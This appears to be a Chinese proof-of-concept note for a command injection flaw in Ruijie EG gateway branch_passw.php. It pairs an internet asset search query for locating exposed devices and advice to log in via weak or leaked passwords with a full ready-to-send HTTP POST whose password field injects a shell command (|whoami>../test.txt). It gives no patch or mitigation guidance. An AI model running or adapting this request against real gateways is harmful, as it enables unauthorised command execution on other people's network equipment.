锐捷EG易网关branch_passw.php远程代码执行漏洞¶
一、漏洞简介
锐捷 EG易网关cli存在后台远程命令执行漏洞。
二、影响版本
锐捷EG易网关
三、资产测绘
app="Ruijie-EG易网关"
●登录页面
四、漏洞复现
1、通过弱口令或账号密码泄露漏洞登录后台获取cookie
2、branch_passw.php执行whoami命令,写入web根目录test.txt文件,再访问test.txt文件得到回显。
POST /itbox_pi/branch_passw.php?a=set HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: LOCAL_LANG_COOKIE=zh; RUIJIEID=e2iuc40kc25v8bosaf04ee7273; user=admin; helpKey=home_sys
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
pass=|whoami>../test.txt
3、写入文件地址
/test.txt
更新: 2024-06-24 11:42:25
原文: https://www.yuque.com/xiaokp7/ocvun2/gcrohorfhsnzh1ix